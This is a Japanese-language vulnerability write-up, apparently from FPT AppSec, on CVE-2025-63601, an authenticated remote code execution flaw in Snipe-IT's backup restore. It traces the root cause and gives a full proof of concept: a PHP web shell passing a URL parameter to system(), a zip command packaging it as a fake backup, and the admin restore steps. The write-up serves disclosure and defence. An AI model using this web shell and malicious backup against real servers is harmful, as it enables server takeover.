ニュース

CVE-2025-63601: (PoC付き)Snipe-ITのバックアップリストア機能を利用した認証後リモートコード実行

Snipe-IT 8.3.3 以降のバージョンは、本脆弱性の影響を受けません。

1. CVEリファレンス  

脆弱性の基本情報については、以下を参照してください: 

CVE-2025-63601は、Snipe-ITのバックアップ復元機能がアップロードされたアーカイブ内のファイルタイプや展開パスを適切に検証しない問題を説明しています。これにより、攻撃者が悪意のある実行ファイルをWebからアクセス可能なディレクトリに紛れ込ませることができ、最終的にサーバ上で任意のコード実行が可能となります。 

Picture1

2. FPT AppSecによる検知とエンジニアによる原因追跡  

FPT AppSecによる内部セキュリティテスト中、Snipe-ITのバックアップリストア機能内に不審な箇所が指摘されました。スキャナは、public/uploadsディレクトリ内での不適切なファイル処理および悪意あるファイル展開の可能性について警告を出しました。これは、無制限ファイルアップロードやアーカイブ展開バイパスの脆弱性である可能性を示していました。 

q

この時点からエンジニアチームが手動による詳細調査を開始しました。 

Snipe-ITのコードベースとスキャナが出力したフローを解析した結果、根本原因を以下のファイル内で特定しました: app/Console/Commands/RestoreFromBackup.php 

  • ディレクトリ内ファイルの拡張子検証の欠如
    アプリケーションは許可拡張子を定義していましたが、ロゴファイル等ごく一部のファイルにしか適用されていませんでした。バックアップから展開されるディレクトリ内のファイルは一切チェックされず、.php、.phtml、.htaccess等の実行ファイルが以下のようなWebアクセス可能なディレクトリに保存される可能性がありました: 

    public/uploads/accessories/
    public/uploads/assets/ 

  • 不適切なパスホワイトリストロジック
    特定のアップロードディレクトリが十分な検証や制約なくホワイトリスト化されており、攻撃者がDocumentRoot直下にファイルを展開できてしまいます。 
  • 直接的なRCEの可能性
    展開されたファイルがpublic/ディレクトリ以下に配置されるため、ブラウザから直接アクセスでき、即座にリモートコード実行が可能となります。
    これら一連の流れがCVEの説明と一致し、実際のエクスプロイトシナリオであることを確認しました。 

3. 一連のPoCProof-of-Concept  

以下のPoCは、実際にバリデートされたセキュリティレポートから抜粋したもので、攻撃経路全体を実演します。 

ステップ 1 – 悪意あるバックアップアーカイブの作成 

簡単なPHPウェブシェルを作成します。 

1
2
3
4
5
6
7
8
9
10
11
cat > public/uploads/accessories/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
EOF

バックアップ形式に必要な最小限のSQLファイルを作成します。 

1
2
3
4
5
6
cat > database.sql << 'EOF'
-- Snipe-IT Database Backup
-- Generated for RCE PoC
CREATE TABLE IF NOT EXISTS poc_test (id INT);
INSERT INTO poc_test VALUES (1);
EOF

これらを偽のバックアップとしてパッケージ化します。 

1
zip -r ui_rce_backup.zip public/ database.sql

このアーカイブには以下が含まれます: 

1
2
public/uploads/accessories/shell.php   ← malicious file
database.sql                            ← valid structure

ステップ 2 — Snipe-ITでバックアップを復元 

  • 管理者としてログインします。 
  • Admin → Settings → Backups へ移動 
  • ui_rce_backup.zip をアップロード 
  • Restoreをクリック(データベースクリーン不要) 
  • アプリケーションはpublic/uploads/…構造全体を展開し、shell.phpも拡張子検証せずに書き込みます。 

Anh man hinh 2025 12 01 luc 13.12.48

d

内部分析のスクリーンショットの通り、ファイルは以下保存されます。 
/var/www/html/public/uploads/accessories/shell.php
 

4

ステップ 3 — Webシェル経由でコマンド実行 

10これによりリモートコード実行が確認されます。 

まとめ
FPT AppSecリサーチチームはCVE-2025-63601の再現に成功し、実際の攻撃チェーンを以下の通り示しました: 

  • アーカイブ内エントリが検証されなかった 
  • 危険な実行ファイルがWebアクセス可能なディレクトリに直接書き込まれた 
  • バックアップ内の単純なPHPアップローダーで完全なRCEが可能 
この記事: